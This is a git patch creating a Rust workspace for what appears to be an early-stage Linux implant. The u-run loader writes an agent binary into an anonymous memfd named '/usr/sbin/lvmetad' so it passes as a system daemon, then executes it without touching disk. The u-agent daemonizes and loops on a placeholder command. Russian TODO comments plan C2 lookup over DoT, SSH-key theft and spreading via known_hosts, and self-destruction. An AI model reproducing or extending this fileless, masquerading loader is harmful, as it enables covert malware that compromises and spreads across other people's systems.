From 1401c0efc4b6472ee5c0990e1177e8c677d81956 Mon Sep 17 00:00:00 2001 From: plazmoid Date: Mon, 20 Jul 2020 01:24:46 +0500 Subject: [PATCH] structed, working u-run --- Cargo.toml | 6 +++ u-agent/Cargo.toml | 19 ++++++++++ u-agent/src/main.rs | 70 +++++++++++++++++++++++++++++++++++ u-run/Cargo.toml | 11 ++++++ u-run/src/main.rs | 87 ++++++++++++++++++++++++++++++++++++++++++++ u-server/Cargo.toml | 9 +++++ u-server/src/main.rs | 3 ++ 7 files changed, 205 insertions(+) create mode 100644 Cargo.toml create mode 100644 u-agent/Cargo.toml create mode 100644 u-agent/src/main.rs create mode 100644 u-run/Cargo.toml create mode 100644 u-run/src/main.rs create mode 100644 u-server/Cargo.toml create mode 100644 u-server/src/main.rs diff --git a/Cargo.toml b/Cargo.toml new file mode 100644 index 0000000..81f2277 --- /dev/null +++ b/Cargo.toml @@ -0,0 +1,6 @@ +[workspace] +members = [ + "u-run", + "u-server", + "u-agent" +] \ No newline at end of file diff --git a/u-agent/Cargo.toml b/u-agent/Cargo.toml new file mode 100644 index 0000000..fe9666a --- /dev/null +++ b/u-agent/Cargo.toml @@ -0,0 +1,19 @@ +[package] +name = "u-agent" +version = "0.1.0" +authors = ["plazmoid "] +edition = "2018" + +# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html + +[dependencies] +nix = "0.17" +libc = "^0.2" +sysinfo = "0.10.5" +#lazy_static = "1.4.0" +log = "^0.4" +env_logger = "0.7.1" + +[profile.release] +panic = 'abort' +# strip \ No newline at end of file diff --git a/u-agent/src/main.rs b/u-agent/src/main.rs new file mode 100644 index 0000000..c15e264 --- /dev/null +++ b/u-agent/src/main.rs @@ -0,0 +1,70 @@ +// TODO: +// поддержка питона +// резолв адреса управляющего сервера через DoT +// кроссплатформенность (реализовать интерфейс для винды и никсов) +// перезапуск через memfd_create +// проверка обнов +// проверка ssh ключей и распространение через known_hosts +// самоуничтожение + +use std::process::exit; + +use nix::{ + unistd::{ + getppid, + setsid, + fork, + ForkResult, + close as fdclose, + chdir + }, + sys::signal::{ + signal, + Signal, + SigHandler + } +}; + +fn setsig(sig: Signal, hnd: SigHandler) { + unsafe { + signal(sig, hnd).unwrap(); + } +} + +fn daemonize() { + if getppid().as_raw() != 1 { + setsig(Signal::SIGTTOU, SigHandler::SigIgn); + setsig(Signal::SIGTTIN, SigHandler::SigIgn); + setsig(Signal::SIGTSTP, SigHandler::SigIgn); + } + for fd in 0..=2 { + match fdclose(fd) { _ => () } + } + match chdir("/") { _ => () }; + + match fork() { + Ok(ForkResult::Parent {..}) => { + exit(0); + }, + Ok(ForkResult::Child) => { + match setsid() { _ => () } + } + Err(_) => { + exit(255) + } + } +} + +fn main() { + use std::process::Command; + use std::thread::sleep; + use std::time::Duration; + daemonize(); + loop { + sleep(Duration::from_secs(2)); + Command::new("touch") + .arg("/tmp/win2") + .output() + .unwrap(); + } +} diff --git a/u-run/Cargo.toml b/u-run/Cargo.toml new file mode 100644 index 0000000..fe58777 --- /dev/null +++ b/u-run/Cargo.toml @@ -0,0 +1,11 @@ +[package] +name = "u-run" +version = "0.1.0" +authors = ["plazmoid "] +edition = "2018" + +# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html + +[dependencies] +nix = "0.17" +libc = "^0.2" diff --git a/u-run/src/main.rs b/u-run/src/main.rs new file mode 100644 index 0000000..a95e17f --- /dev/null +++ b/u-run/src/main.rs @@ -0,0 +1,87 @@ +use nix::{ + sys::memfd::{memfd_create, MemFdCreateFlag}, + unistd::execv +}; +use libc::{ + fdopen, + fwrite, + c_void, + getpid +}; +use std::{ + ffi::{CString, CStr}, + fs::{File, read_dir}, + io::Read +}; + +fn get_uagent_data() -> Option> { + // TODO: if not ls - then download + let ls = read_dir("./").unwrap(); + for dirfile in ls { + let filename: std::path::PathBuf = dirfile.unwrap().path(); + if filename.ends_with("u-agent") { + let mut file = File::open(filename).unwrap(); + let mut data: Vec = vec![]; + file.read_to_end(&mut data).unwrap(); + return Some(data) + } + } + None +} + +fn get_proc_name() -> CString { + CString::new("/usr/sbin/lvmetad").unwrap() +} + +fn create_memfd() -> i32 { + let name = get_proc_name(); + let fd = memfd_create( + &name, + MemFdCreateFlag::empty() + ).unwrap(); + assert!(fd > 0); + fd +} + +fn main() { + let agent_data: Vec = { + let mut data; + loop { + data = get_uagent_data(); + if data.is_some() { + break; + } + } + data.unwrap() + }; + let ad_len = agent_data.len(); + let fd = create_memfd(); + let file = unsafe { + let res = fdopen(fd, + CStr::from_bytes_with_nul(b"w\0") + .unwrap().as_ptr() + ); + if res.is_null() { + panic!("WTF!"); + } + res + }; + let res_len = unsafe { + fwrite( + agent_data.as_ptr() as *const c_void, + 1, ad_len, file + ) + }; + if res_len != ad_len { + panic!("write wasn't successful: {}, need {}", + res_len, ad_len); + } + let exec_path: String = format!("/proc/{}/fd/{}", + unsafe { getpid() }, fd); + let proc_name = get_proc_name(); + let args = [proc_name.as_c_str()]; + execv( + &CString::new(exec_path).unwrap(), + &args + ).unwrap(); +} diff --git a/u-server/Cargo.toml b/u-server/Cargo.toml new file mode 100644 index 0000000..c19b098 --- /dev/null +++ b/u-server/Cargo.toml @@ -0,0 +1,9 @@ +[package] +name = "u-server" +version = "0.1.0" +authors = ["plazmoid "] +edition = "2018" + +# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html + +[dependencies] diff --git a/u-server/src/main.rs b/u-server/src/main.rs new file mode 100644 index 0000000..e7a11a9 --- /dev/null +++ b/u-server/src/main.rs @@ -0,0 +1,3 @@ +fn main() { + println!("Hello, world!"); +}